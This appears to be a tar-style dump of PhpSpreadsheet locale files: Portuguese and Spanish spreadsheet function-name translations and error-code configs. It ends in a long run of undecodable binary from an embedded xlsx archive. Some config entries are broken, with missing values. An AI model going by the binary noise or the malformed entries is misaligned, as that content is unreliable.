CARÁT CLEAN = LIMPARB CODE = CÓDIGO CONCAT = CONCAT DOLLAR = MOEDA EXACT = EXATO FIND = LOCALIZAR FIXED = FIXA ISTHAIDIGIT = É.DÍGITO.TAILANDÊS LEFT = ESQUERDA LEN = NÚM.CARAT LOWER = MINÚSCULAS MID = SEG.TEXTO NUMBERSTRING = NÚMERO.CADEIA NUMBERVALUE = VALOR.NÚMERO PHONETIC = FONÉTICA PROPER = INICIAL.MAIÚSCULA REPLACE = SUBSTITUIR REPT = REPETIR RIGHT = DIREITA SEARCH = PROCURAR SUBSTITUTE = SUBST T = T TEXT = TEXTO TEXTJOIN = UNIRTEXTO THAIDIGIT = DÍGITO.TAILANDÊS THAINUMSOUND = SOM.NÚM.TAILANDÊS THAINUMSTRING = CADEIA.NÚM.TAILANDÊS THAISTRINGLENGTH = COMP.CADEIA.TAILANDÊS TRIM = COMPACTAR UNICHAR = UNICARÁT UNICODE = UNICODE UPPER = MAIÚSCULAS VALUE = VALOR ## ## Funções da Web (Web Functions) ## ENCODEURL = CODIFICAÇÃOURL FILTERXML = FILTRARXML WEBSERVICE = SERVIÇOWEB ## ## Funções de compatibilidade (Compatibility Functions) ## BETADIST = DISTBETA BETAINV = BETA.ACUM.INV BINOMDIST = DISTRBINOM CEILING = ARRED.EXCESSO CHIDIST = DIST.CHI CHIINV = INV.CHI CHITEST = TESTE.CHI CONCATENATE = CONCATENAR CONFIDENCE = INT.CONFIANÇA COVAR = COVAR CRITBINOM = CRIT.BINOM EXPONDIST = DISTEXPON FDIST = DISTF FINV = INVF FLOOR = ARRED.DEFEITO FORECAST = PREVISÃO FTEST = TESTEF GAMMADIST = DISTGAMA GAMMAINV = INVGAMA HYPGEOMDIST = DIST.HIPERGEOM LOGINV = INVLOG LOGNORMDIST = DIST.NORMALLOG MODE = MODA NEGBINOMDIST = DIST.BIN.NEG NORMDIST = DIST.NORM NORMINV = INV.NORM NORMSDIST = DIST.NORMP NORMSINV = INV.NORMP PERCENTILE = PERCENTIL PERCENTRANK = ORDEM.PERCENTUAL POISSON = POISSON QUARTILE = QUARTIL RANK = ORDEM STDEV = DESVPAD STDEVP = DESVPADP TDIST = DISTT TINV = INVT TTEST = TESTET VAR = VAR VARP = VARP WEIBULL = WEIBULL ZTEST = TESTEZ phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pt/config000064400000000473151676714400022563 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Português (Portuguese) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #NULO! DIV0 VALUE = #VALOR! REF NAME = #NOME? NUM = #NÚM! NA = #N/D phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/es/functions000064400000024714151676714400023316 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Español (Spanish) ## ############################################################ ## ## Funciones de cubo (Cube Functions) ## CUBEKPIMEMBER = MIEMBROKPICUBO CUBEMEMBER = MIEMBROCUBO CUBEMEMBERPROPERTY = PROPIEDADMIEMBROCUBO CUBERANKEDMEMBER = MIEMBRORANGOCUBO CUBESET = CONJUNTOCUBO CUBESETCOUNT = RECUENTOCONJUNTOCUBO CUBEVALUE = VALORCUBO ## ## Funciones de base de datos (Database Functions) ## DAVERAGE = BDPROMEDIO DCOUNT = BDCONTAR DCOUNTA = BDCONTARA DGET = BDEXTRAER DMAX = BDMAX DMIN = BDMIN DPRODUCT = BDPRODUCTO DSTDEV = BDDESVEST DSTDEVP = BDDESVESTP DSUM = BDSUMA DVAR = BDVAR DVARP = BDVARP ## ## Funciones de fecha y hora (Date & Time Functions) ## DATE = FECHA DATEDIF = SIFECHA DATESTRING = CADENA.FECHA DATEVALUE = FECHANUMERO DAY = DIA DAYS = DIAS DAYS360 = DIAS360 EDATE = FECHA.MES EOMONTH = FIN.MES HOUR = HORA ISOWEEKNUM = ISO.NUM.DE.SEMANA MINUTE = MINUTO MONTH = MES NETWORKDAYS = DIAS.LAB NETWORKDAYS.INTL = DIAS.LAB.INTL NOW = AHORA SECOND = SEGUNDO THAIDAYOFWEEK = DIASEMTAI THAIMONTHOFYEAR = MESAÑOTAI THAIYEAR = AÑOTAI TIME = NSHORA TIMEVALUE = HORANUMERO TODAY = HOY WEEKDAY = DIASEM WEEKNUM = NUM.DE.SEMANA WORKDAY = DIA.LAB WORKDAY.INTL = DIA.LAB.INTL YEAR = AÑO YEARFRAC = FRAC.AÑO ## ## Funciones de ingeniería (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN.A.DEC BIN2HEX = BIN.A.HEX BIN2OCT = BIN.A.OCT BITAND = BIT.Y BITLSHIFT = BIT.DESPLIZQDA BITOR = BIT.O BITRSHIFT = BIT.DESPLDCHA BITXOR = BIT.XO COMPLEX = COMPLEJO CONVERT = CONVERTIR DEC2BIN = DEC.A.BIN DEC2HEX = DEC.A.HEX DEC2OCT = DEC.A.OCT DELTA = DELTA ERF = FUN.ERROR ERF.PRECISE = FUN.ERROR.EXACTO ERFC = FUN.ERROR.COMPL ERFC.PRECISE = FUN.ERROR.COMPL.EXACTO GESTEP = MAYOR.O.IGUAL HEX2BIN = HEX.A.BIN HEX2DEC = HEX.A.DEC HEX2OCT = HEX.A.OCT IMABS = IM.ABS IMAGINARY = IMAGINARIO IMARGUMENT = IM.ANGULO IMCONJUGATE = IM.CONJUGADA IMCOS = IM.COS IMCOSH = IM.COSH IMCOT = IM.COT IMCSC = IM.CSC IMCSCH = IM.CSCH IMDIV = IM.DIV IMEXP = IM.EXP IMLN = IM.LN IMLOG10 = IM.LOG10 IMLOG2 = IM.LOG2 IMPOWER = IM.POT IMPRODUCT = IM.PRODUCT IMREAL = IM.REAL IMSEC = IM.SEC IMSECH = IM.SECH IMSIN = IM.SENO IMSINH = IM.SENOH IMSQRT = IM.RAIZ2 IMSUB = IM.SUSTR IMSUM = IM.SUM IMTAN = IM.TAN OCT2BIN = OCT.A.BIN OCT2DEC = OCT.A.DEC OCT2HEX = OCT.A.HEX ## ## Funciones financieras (Financial Functions) ## ACCRINT = INT.ACUM ACCRINTM = INT.ACUM.V AMORDEGRC = AMORTIZ.PROGRE AMORLINC = AMORTIZ.LIN COUPDAYBS = CUPON.DIAS.L1 COUPDAYS = CUPON.DIAS COUPDAYSNC = CUPON.DIAS.L2 COUPNCD = CUPON.FECHA.L2 COUPNUM = CUPON.NUM COUPPCD = CUPON.FECHA.L1 CUMIPMT = PAGO.INT.ENTRE CUMPRINC = PAGO.PRINC.ENTRE DB = DB DDB = DDB DISC = TASA.DESC DOLLARDE = MONEDA.DEC DOLLARFR = MONEDA.FRAC DURATION = DURACION EFFECT = INT.EFECTIVO FV = VF FVSCHEDULE = VF.PLAN INTRATE = TASA.INT IPMT = PAGOINT IRR = TIR ISPMT = INT.PAGO.DIR MDURATION = DURACION.MODIF MIRR = TIRM NOMINAL = TASA.NOMINAL NPER = NPER NPV = VNA ODDFPRICE = PRECIO.PER.IRREGULAR.1 ODDFYIELD = RENDTO.PER.IRREGULAR.1 ODDLPRICE = PRECIO.PER.IRREGULAR.2 ODDLYIELD = RENDTO.PER.IRREGULAR.2 PDURATION = P.DURACION PMT = PAGO PPMT = PAGOPRIN PRICE = PRECIO PRICEDISC = PRECIO.DESCUENTO PRICEMAT = PRECIO.VENCIMIENTO PV = VA RATE = TASA RECEIVED = CANTIDAD.RECIBIDA RRI = RRI SLN = SLN SYD = SYD TBILLEQ = LETRA.DE.TEST.EQV.A.BONO TBILLPRICE = LETRA.DE.TES.PRECIO TBILLYIELD = LETRA.DE.TES.RENDTO VDB = DVS XIRR = TIR.NO.PER XNPV = VNA.NO.PER YIELD = RENDTO YIELDDISC = RENDTO.DESC YIELDMAT = RENDTO.VENCTO ## ## Funciones de información (Information Functions) ## CELL = CELDA ERROR.TYPE = TIPO.DE.ERROR INFO = INFO ISBLANK = ESBLANCO ISERR = ESERR ISERROR = ESERROR ISEVEN = ES.PAR ISFORMULA = ESFORMULA ISLOGICAL = ESLOGICO ISNA = ESNOD ISNONTEXT = ESNOTEXTO ISNUMBER = ESNUMERO ISODD = ES.IMPAR ISREF = ESREF ISTEXT = ESTEXTO N = N NA = NOD SHEET = HOJA SHEETS = HOJAS TYPE = TIPO ## ## Funciones lógicas (Logical Functions) ## AND = Y FALSE = FALSO IF = SI IFERROR = SI.ERROR IFNA = SI.ND IFS = SI.CONJUNTO NOT = NO OR = O SWITCH = CAMBIAR TRUE = VERDADERO XOR = XO ## ## Funciones de búsqueda y referencia (Lookup & Reference Functions) ## ADDRESS = DIRECCION AREAS = AREAS CHOOSE = ELEGIR COLUMN = COLUMNA COLUMNS = COLUMNAS FORMULATEXT = FORMULATEXTO GETPIVOTDATA = IMPORTARDATOSDINAMICOS HLOOKUP = BUSCARH HYPERLINK = HIPERVINCULO INDEX = INDICE INDIRECT = INDIRECTO LOOKUP = BUSCAR MATCH = COINCIDIR OFFSET = DESREF ROW = FILA ROWS = FILAS RTD = RDTR TRANSPOSE = TRANSPONER VLOOKUP = BUSCARV *RC = FC ## ## Funciones matemáticas y trigonométricas (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGREGAR ARABIC = NUMERO.ARABE ASIN = ASENO ASINH = ASENOH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = BASE CEILING.MATH = MULTIPLO.SUPERIOR.MAT CEILING.PRECISE = MULTIPLO.SUPERIOR.EXACTO COMBIN = COMBINAT COMBINA = COMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = CONV.DECIMAL DEGREES = GRADOS ECMA.CEILING = MULTIPLO.SUPERIOR.ECMA EVEN = REDONDEA.PAR EXP = EXP FACT = FACT FACTDOUBLE = FACT.DOBLE FLOOR.MATH = MULTIPLO.INFERIOR.MAT FLOOR.PRECISE = MULTIPLO.INFERIOR.EXACTO GCD = M.C.D INT = ENTERO ISO.CEILING = MULTIPLO.SUPERIOR.ISO LCM = M.C.M LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = MINVERSA MMULT = MMULT MOD = RESIDUO MROUND = REDOND.MULT MULTINOMIAL = MULTINOMIAL MUNIT = M.UNIDAD ODD = REDONDEA.IMPAR PI = PI POWER = POTENCIA PRODUCT = PRODUCTO QUOTIENT = COCIENTE RADIANS = RADIANES RAND = ALEATORIO RANDBETWEEN = ALEATORIO.ENTRE ROMAN = NUMERO.ROMANO ROUND = REDONDEAR ROUNDBAHTDOWN = REDONDEAR.BAHT.MAS ROUNDBAHTUP = REDONDEAR.BAHT.MENOS ROUNDDOWN = REDONDEAR.MENOS ROUNDUP = REDONDEAR.MAS SEC = SEC SECH = SECH SERIESSUM = SUMA.SERIES SIGN = SIGNO SIN = SENO SINH = SENOH SQRT = RAIZ SQRTPI = RAIZ2PI SUBTOTAL = SUBTOTALES SUM = SUMA SUMIF = SUMAR.SI SUMIFS = SUMAR.SI.CONJUNTO SUMPRODUCT = SUMAPRODUCTO SUMSQ = SUMA.CUADRADOS SUMX2MY2 = SUMAX2MENOSY2 SUMX2PY2 = SUMAX2MASY2 SUMXMY2 = SUMAXMENOSY2 TAN = TAN TANH = TANH TRUNC = TRUNCAR ## ## Funciones estadísticas (Statistical Functions) ## AVEDEV = DESVPROM AVERAGE = PROMEDIO AVERAGEA = PROMEDIOA AVERAGEIF = PROMEDIO.SI AVERAGEIFS = PROMEDIO.SI.CONJUNTO BETA.DIST = DISTR.BETA.N BETA.INV = INV.BETA.N BINOM.DIST = DISTR.BINOM.N BINOM.DIST.RANGE = DISTR.BINOM.SERIE BINOM.INV = INV.BINOM CHISQ.DIST = DISTR.CHICUAD CHISQ.DIST.RT = DISTR.CHICUAD.CD CHISQ.INV = INV.CHICUAD CHISQ.INV.RT = INV.CHICUAD.CD CHISQ.TEST = PRUEBA.CHICUAD CONFIDENCE.NORM = INTERVALO.CONFIANZA.NORM CONFIDENCE.T = INTERVALO.CONFIANZA.T CORREL = COEF.DE.CORREL COUNT = CONTAR COUNTA = CONTARA COUNTBLANK = CONTAR.BLANCO COUNTIF = CONTAR.SI COUNTIFS = CONTAR.SI.CONJUNTO COVARIANCE.P = COVARIANCE.P COVARIANCE.S = COVARIANZA.M DEVSQ = DESVIA2 EXPON.DIST = DISTR.EXP.N F.DIST = DISTR.F.N F.DIST.RT = DISTR.F.CD F.INV = INV.F F.INV.RT = INV.F.CD F.TEST = PRUEBA.F.N FISHER = FISHER FISHERINV = PRUEBA.FISHER.INV FORECAST.ETS = PRONOSTICO.ETS FORECAST.ETS.CONFINT = PRONOSTICO.ETS.CONFINT FORECAST.ETS.SEASONALITY = PRONOSTICO.ETS.ESTACIONALIDAD FORECAST.ETS.STAT = PRONOSTICO.ETS.STAT FORECAST.LINEAR = PRONOSTICO.LINEAL FREQUENCY = FRECUENCIA GAMMA = GAMMA GAMMA.DIST = DISTR.GAMMA.N GAMMA.INV = INV.GAMMA GAMMALN = GAMMA.LN GAMMALN.PRECISE = GAMMA.LN.EXACTO GAUSS = GAUSS GEOMEAN = MEDIA.GEOM GROWTH = CRECIMIENTO HARMEAN = MEDIA.ARMO HYPGEOM.DIST = DISTR.HIPERGEOM.N INTERCEPT = INTERSECCION.EJE KURT = CURTOSIS LARGE = K.ESIMO.MAYOR LINEST = ESTIMACION.LINEAL LOGEST = ESTIMACION.LOGARITMICA LOGNORM.DIST = DISTR.LOGNORM LOGNORM.INV = INV.LOGNORM MAX = MAX MAXA = MAXA MAXIFS = MAX.SI.CONJUNTO MEDIAN = MEDIANA MIN = MIN MINA = MINA MINIFS = MIN.SI.CONJUNTO MODE.MULT = MODA.VARIOS MODE.SNGL = MODA.UNO NEGBINOM.DIST = NEGBINOM.DIST NORM.DIST = DISTR.NORM.N NORM.INV = INV.NORM NORM.S.DIST = DISTR.NORM.ESTAND.N NORM.S.INV = INV.NORM.ESTAND PEARSON = PEARSON PERCENTILE.EXC = PERCENTIL.EXC PERCENTILE.INC = PERCENTIL.INC PERCENTRANK.EXC = RANGO.PERCENTIL.EXC PERCENTRANK.INC = RANGO.PERCENTIL.INC PERMUT = PERMUTACIONES PERMUTATIONA = PERMUTACIONES.A PHI = FI POISSON.DIST = POISSON.DIST PROB = PROBABILIDAD QUARTILE.EXC = CUARTIL.EXC QUARTILE.INC = CUARTIL.INC RANK.AVG = JERARQUIA.MEDIA RANK.EQ = JERARQUIA.EQV RSQ = COEFICIENTE.R2 SKEW = COEFICIENTE.ASIMETRIA SKEW.P = COEFICIENTE.ASIMETRIA.P SLOPE = PENDIENTE SMALL = K.ESIMO.MENOR STANDARDIZE = NORMALIZACION STDEV.P = DESVEST.P STDEV.S = DESVEST.M STDEVA = DESVESTA STDEVPA = DESVESTPA STEYX = ERROR.TIPICO.XY T.DIST = DISTR.T.N T.DIST.2T = DISTR.T.2C T.DIST.RT = DISTR.T.CD T.INV = INV.T T.INV.2T = INV.T.2C T.TEST = PRUEBA.T.N TREND = TENDENCIA TRIMMEAN = MEDIA.ACOTADA VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = DISTR.WEIBULL Z.TEST = PRUEBA.Z.N ## ## Funciones de texto (Text Functions) ## BAHTTEXT = TEXTOBAHT CHAR = CARACTER CLEAN = LIMPIAR CODE = CODIGO CONCAT = CONCAT DOLLAR = MONEDA EXACT = IGUAL FIND = ENCONTRAR FIXED = DECIMAL ISTHAIDIGIT = ESDIGITOTAI LEFT = IZQUIERDA LEN = LARGO LOWER = MINUSC MID = EXTRAE NUMBERSTRING = CADENA.NUMERO NUMBERVALUE = VALOR.NUMERO PHONETIC = FONETICO PROPER = NOMPROPIO REPLACE = REEMPLAZAR REPT = REPETIR RIGHT = DERECHA SEARCH = HALLAR SUBSTITUTE = SUSTITUIR T = T TEXT = TEXTO TEXTJOIN = UNIRCADENAS THAIDIGIT = DIGITOTAI THAINUMSOUND = SONNUMTAI THAINUMSTRING = CADENANUMTAI THAISTRINGLENGTH = LONGCADENATAI TRIM = ESPACIOS UNICHAR = UNICAR UNICODE = UNICODE UPPER = MAYUSC VALUE = VALOR ## ## Funciones web (Web Functions) ## ENCODEURL = URLCODIF FILTERXML = XMLFILTRO WEBSERVICE = SERVICIOWEB ## ## Funciones de compatibilidad (Compatibility Functions) ## BETADIST = DISTR.BETA BETAINV = DISTR.BETA.INV BINOMDIST = DISTR.BINOM CEILING = MULTIPLO.SUPERIOR CHIDIST = DISTR.CHI CHIINV = PRUEBA.CHI.INV CHITEST = PRUEBA.CHI CONCATENATE = CONCATENAR CONFIDENCE = INTERVALO.CONFIANZA COVAR = COVAR CRITBINOM = BINOM.CRIT EXPONDIST = DISTR.EXP FDIST = DISTR.F FINV = DISTR.F.INV FLOOR = MULTIPLO.INFERIOR FORECAST = PRONOSTICO FTEST = PRUEBA.F GAMMADIST = DISTR.GAMMA GAMMAINV = DISTR.GAMMA.INV HYPGEOMDIST = DISTR.HIPERGEOM LOGINV = DISTR.LOG.INV LOGNORMDIST = DISTR.LOG.NORM MODE = MODA NEGBINOMDIST = NEGBINOMDIST NORMDIST = DISTR.NORM NORMINV = DISTR.NORM.INV NORMSDIST = DISTR.NORM.ESTAND NORMSINV = DISTR.NORM.ESTAND.INV PERCENTILE = PERCENTIL PERCENTRANK = RANGO.PERCENTIL POISSON = POISSON QUARTILE = CUARTIL RANK = JERARQUIA STDEV = DESVEST STDEVP = DESVESTP TDIST = DISTR.T TINV = DISTR.T.INV TTEST = PRUEBA.T VAR = VAR VARP = VARP WEIBULL = DIST.WEIBULL ZTEST = PRUEBA.Z phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/es/config000064400000000516151676714400022545 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Español (Spanish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #¡NULO! DIV0 = #¡DIV/0! VALUE = #¡VALOR! REF = #¡REF! NAME = #¿NOMBRE? NUM = #¡NUM! NA phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/Translations.xlsx000064400000422217151676714400024355 0ustar00PK!������ [Content_Types].xml �(�Ėˎ�@E������gQٞ�L�LF�����i�~�����`,'� �Hـ��{n�����ޖ�"�f�!�����q�����=�"$�rUz3qO����p�Ù(��W)Q`f>��/K�"~�+�^�������8J����,զ��۞_7NƉ�W�fB�P���ʭ���~�4r�7��3T��2�01�'�B^dF(q�UƑ�1,L�O���ܓǿD���*�u���O^�hrH^U�����})w>�ޯ��"C�^��*�ډ�����o#���x�O>��z�T�2�#J�����"*B�F|LW�8��𡽭����Z�<Uт��h���}lYLa����؞�v�ػ}������?�P6���j"�� ,�ml(I�:(��1�ik��L�0�{��s]`�Br�}�> ��ëH�K��4�D2pꦗ�Ɖ�w��z��� e� ��w��pY�i���PK!��,t_rels/.rels �(����N�0�;�徦Bh�.i7��x��Um�(�`{{��`�FAbǶ�:?��d���x�r�,�\ t�L��R�,GwRDg�#���b������;��S\5>�T��R����RQ��B�ȣK_* 8=�Zy�-Ԩ�y~��q 9��sS�07WR,�>�����"��)�ȇ$ܤ^�B�\JC�)���D��R���F�Tq��*��F��,�~�� ��at��3�փ;vl�^"�������>d���Xħ���юF�]�C��sZ�:2�_6�����I�oϠF����ݕ�;��PK!n�Ɲcoxl/workbook.xml�Vmo�8�~���LP�* AW�]Um���r����P����B�lN�l7Jl�?��g�\~ira�2UqYD_��b�)/��w��dU�)�`zc�r��_�;�^�R�XPTʴ.Cǩh�rR]Ȓ �H� K�u�R1�Vc:�纾�^�!T�`�͆SKZ���b�h0��xY�h9=.'�.m*� �\p�ւ"+���������(����.^�N��9U��}�Ng��u0> As�b����`��?i�������h��r%��}mt��CW�.�cG]���W��L d R�E�5K#4��ܱ� U����z��ȹ:�NY)ېZ�%�����M �Th� ��\x���O9�b�3 ���5W ���HhH��љU+�y��r�*����U���.+ޫl5'��]q���D��֒�� �j��@4:���#�����V<_�7��� �N��b��t�sAU����b���l�z�p<�A��M����x��Q~H%�u�'�����~"�%M/�nX��o�c�����}7����ٮz��YZ�/R���� �ߎ��V��S������n�ƷX��vS���if &�6\A�L� d��+[�u��22^D����>��m�#�淍�hg�h�g�P&�C^�M����$g�,���u�M,NO&u&B+�pl���r��n�Pofj�`��k�M������h2s0!��=āk�f��� ����(1t01��O���ӞfD�P~���uh�d�{��t��UOxW�����Z��TN�T��]ޞ�{�X>?%�*Oog�t��otH �>�N�_����PK! ���xl/_rels/workbook.xml.rels �(����N�0E�H���=q� T���-����C��G��Q �J��Xε|����z�i:�[g%ϒ�3�ڕ��%�=]�s�Q�Ru�= ���g�T�Oش�X����?���0q,�T.���J�U "Oӕ�=x1�d�R�-�9��:��vU�jxt�̀�GZ�H\@�*�%�Q���8C~N���ĉ� �^�%��a�Y�cZ�*&�1��݉,��]xZ>g�0����$nϙ6*@�m>N43y ��0������C��^�n����PK!`�d� �3xl/worksheets/sheet1.xml��[o�0��'�; �����*Km���쀓�f�iRM��;Y�M�Q�߹����,�g&��W ¶�,V�<˫}��}��"d5�V-x���t{�����Ss`LZ@�����ӤV���5�`g�EI%<���ԂѬu*��n�4�PGX�)���)���d�� �TB��!�M;g�x��'�U�s��]�3��_���7|'픗N��u���Ug�N)����X�\Cqۼ��K[.��t�i_qA����4���>�E��:��i:��;9 �}G��\IkD��u��0p��v��1�����^��~���+?��k�~��!��&���f��=U�%�.A+�X�q���e���9;5���ʖ�'�� ���iŬ��5A$�p�^�'��%y����E�}d�T�������� ۘ�`��(��^��Vk����%�J���K�KT�]!�����%�*(��]��u�&]ںa�v^<+c;z,�#?}d�TN��i)�/��;֤0���(n����U�j��=��v=�<���~�a�-k�Fu~�(�G����1�e-֞فO�0�O�@Z�29��ª� v�Ȥ�����!s�ͪ��X5۱t�I�b`O�4����:B"�F�`�!�:��9�ГNL����(��\�tG`b| XB���T�X+B�����ύ�Z�Ю��$�ւ2�s�L� S�o�憺$0m۳Q�ەI��QF�!�v�8�=�yA�6�1����"Z���b<���2��f�u���8?L/?��Uƈ1��D�O�7��S�@����_��������n�8�_%�lDK��� ���Q>�i��i����ݷ_�.b��Ē�ܵ��s�h���������C�埻ׯ5U�;����h������~z���������ÿ*x|�����������S.��9�p4��|h���χ��/N�r� lR[$�6�#��]�%��z���v}��o����%+�6g$�M{4vI*�-i"J�٦����DI0�\�{p�B��E0�Rro٧[�$ѽk��N�t��.sI�_� ��$(�I0�^pp=�N�tJc�$4�4�� �,)�ux�ޔ���R�����B�bj��I�CG$��]�dj$�D���L̀�Q�o(� i$�N{�i,JBA�Hvb LI�Cm��:�tsAR�P���R�x�j�$S5�k�d��.�t0A撌 �n+J�N;�D;�E�H��)�DHA��a�$�X��_I���ޛ�PG[Uð~�Ʌ�U���RK]R�ĶE���@�t�|F^OT�$SZ�WQ�$��H:�fiqI�!ai���N��s&I���\�{�`�0diHqc�\�)-8�Z >�턂��$SZ[QL���C� �p:���y�--A+��]��*-�'��$�HF-˅p�B�<}~u%R���U!���UH�*�qҴ i^���BZV!����UHYҾ �P��$�X-�ŰK�YV���� ���\�K$9���İl�$9g������oK i��35���˧ �Y}�f�}x]��:<�s W�0�`\j����� ������`8t��9`x,I��e�N:� ��A_q�w=��cA+�5{� $��~jH�`�����FL�#&6�j6�N�G�f�٨�Sw��I{���0�: p~�g�Ew�|*戀:�Q@�Vm �(p�f�BP5���\H�g;��.q8�G������!q�Tr�1q8x<����a�qg2l۟3���~K��*9���P>����%��zg�k�'�`�8�3#^@%�M��p>+�~+��h��ߒXZA�4g]r4��J����X�� p'�#��10!O�st7'�[��2����������a�W���Q�N���e���g�7��yD�e���V�a�� 1�m∁�:�l�8b�G�y�����Ԁ��P�����l��#f�a�y���,��?���|܇3���8��#�����鐐�$F�������X�=O�Ю�\�ﱉOsV!G}>w�j�#}����8|<$��S�Aabq��S <=![N���K�|F���+�^Nwu�#;�w�+{�FV��O����� ��;+8���ͭΣfd<�X>�4'�B�p��#�:%x�8G��G� �;@8�s��d��g��!�z^b�E ��|Dتd���(�iq~�9�4�����ჩ�2ï[.����?j,�U�K������S��� ��ƹ,�_������D�� �0�_%�XA������'X�6Y�ٰ])���P��73̴#]Q#�ɍ4����N9�U���{w3y��i��A�Vh������ʼn2eCc���)�-g�;X�#E||.�3��5kf�甈����PK!�@|��T�xl/worksheets/sheet2.xml��ێ�0��+���1Q���J��nz�v�I�Lmg���w8�M+�J�x������CY8�L*.�aw�Ve"��&E_�<Nb�(M���b):2���[�|Q[ƴ�J�h�u=�<�mYI�+jV����%�p)7��%�y�T�?�F^Iy�Z�\a���g�^d��U��HVP ��-����A�\�=�j�9+�s�arQ_�3)�Xk7�זv�e�%�YfC-�|����܊\�v�Sf�JH�*�D���9H����L/w^2�N�K%a0�${��Z=���8<����`F.9��<E?�A��,��'��Nn0|E�����>�BW����LW�d���2�ȻZ4���^�Ŏ��%+X�삑cFg%ċy�#�4fM+��5s�B?�9<vW�+-�Ol��XQ��3A�4eO�����Z��|��M�n�@�M�����Rԏ�M���T��ݭM��ݻD����-�~��dz'��c��c��x�N��tW�g���L� #q��x����uR�A��D�vJn�k04�Њ�s��h��8"��7%飙$xjŔ~4Gq�S ��yS�lx���~�Q����R�{ ��(q�,���p<�@`��� �?�uX-��Ь���Q��Z�?N��������tX�..��k����Ʒ�O4��:���X}��� l9�xm�u� z��Z�q[u���I;T� [��wp?�C9�¸����$ƌ$�6A��4Nb��JlMl{�������&�Gj�8^�� ��������q�_��`�^�BV���u��uy���"�$�Z��o?kwk���=���`\�L��_�ן���O����_��?��_~(��_���������?����������O���U6?�����ݟ~��O�ߊ������?���B����E��?V�������?�f��~����m�Ѧ�t��&���t�q¨l7n��Fͦ�O� �����c4� nw�FU�ڝ'��my�Fe�&�NUM��&�JS��}�� n�1�v[4n�0 ��3�u��~M�w��O� ���2����%�����|����淿�A~|Ӽ� �&��O|�0*[Tx��g&�� �8F�zh��h$=��<i���2i�&�NA�I#��>i�&��0j�E� ����h̺��^Ѩk4��7�:�S�n�ng���u���:��!�nU��F#� �M55��8aT�+�G#��;L�p�F�7�i� j����vB�.�H�5�=Y��I#8~�4B;}L�T�c�h(У<'��T^F]G}G#��0}k��Bߟֿc����O��h�=�m�����v�c4N�ۻ�2�8D�2*��'����4UR�ڝ��ZJ~�'���)#>���;SM0���TI���2b���2*p���Om2r4ɷk$�����Og������< ���Oq�!>�+t^Gs{h��S�V��k�K/)V��6���5���o�vݭR�[m��ax(Q��*\s�2�u��{��MX�*a�k<������k�ǣ�CS�S,a���b}��ejuN���K/)���6] WF�R�7�i�)ū�an����P����)�W�����6amV K�߄��n��c1(�ǣ��}�%,��p���1�Т;<ejuNYU�rI�����j�bWyKqߠg�E�en����P�䧵GMY�w]�gۄկ��� /�6eg/y<�#B�)��p]��c�%,�w�L��)��8�N����t5\�����o8����2|�_-�0<p\����˗����mmS�g4 �f��?�����[�;�]�)nK�'�KZx Ê�!`�bI=�)W�s �-'�ڎ/�5_�[�{���~1z-���xJ��i-R����a�ls���b��>Ϳ��1�Q�]�{�7���K�.{�R��f��h\���l��F�2�/�ꎵ�:��yތ���r�\�\�W��|(ѿ>�ijJ��cH�=��.�����ee��uZ���-�Ѹ�3���~p^3|v4.�ᙝ��;��p�ů�j�lׅ�ߌ���Q<�+�m�.<�����MSS�/�c��w�}���3��Q^o��h�X]H'N��we)���n��b`?i�q�aҊI��U��M�ž�<i�W�2ժ��>�C��6Yֆc�I+�(?������b��9m���kҊ!��s��3ҷ�3�y�Fe�e�5m �<���_��q��̲8�L;Wo���d\iC�v^Njq �Yv^q�q3�s�|G��;q�Z~-·2�ӧ��SHo��:��w�)��Fr� ��H�{��<�k���%���c���zI��<�U��M]�rv^p�v�u����9����a��G��}z��C�$��NMɾ�wl���W'��S\p��,���-ޖ:e/�3�6�F�%ߣ�qI�k%����KraŏQ�$���y����cp���>7�=w�^���a͠����=x�Ԕ��y��yϷ�KN�5��c��ŶL�2q���y�^`t^�q�C��5CsG��c��ˡ~g�?M�2K�b/{3�s�}��(�ýk�B<��e�:5%�Z��{��]r %���E{��e�Ջ���h�a�{��f�5vG�Rg�۟ kf��q ��30Z0�Q�{��w����p>�uο*��o{כk�f�HNͶ��|�� _���7,~�x���f��h��~��9�/�%7��p9��7�=������EŻ�p>�ɫ���+_��|˛ڪuQ�O�j�V�Ƶ&|4^e��:8�9S>�ܘe��,����Ÿ�\��cț;Z����e�=�\(��֩�A~-�=�.�u��* �6\µ5�1��y��h4�%� �F��kNK�^���'��q��qI���y�1��x�Y���i�{�һ��kϟ�:5�ɯ���o}���b���U2���2{kX���y�^`4.�q!��~�a2�y�i�����d\�C�g�B��%W��7�=gw�>� �]K���9|z��.���{��]rL���T2O$�i�a}X�re���K��{��fÄ��Ӗ�q}X��3.ɡ�s���R��+#o�{~v�{��>%C�ȇWn`���S�r���o|Wܺ�CeI��I���P�.� G�Ʌ>�S�?w��k�[��%8���5�?/�w1���9�3��{�_��ε�=�\���Ʃ�U~-T�=�.�u)��b�S�Lr��hXzC���7&�ל��KoL8��пYD?�w��%7�����������Wx۵�=�Lq?�mj~�_��=�.7�~�G����R�;j�q�HK��t�J� �Z����I+~f��V\�w�����U��i����yҊs��T����V=C��V��'��-����֍I�8���j��ş�⢐��s�c]�����\�o������ڽq%F��s^s�~\��i�g��`�wY���b�f��p�m�w���P���ʿ���.N]��̮�_�%�I�����:��g�H&��ɽYW^�`29 Λ#���+�b��v�����i��+�ؒs^J�u 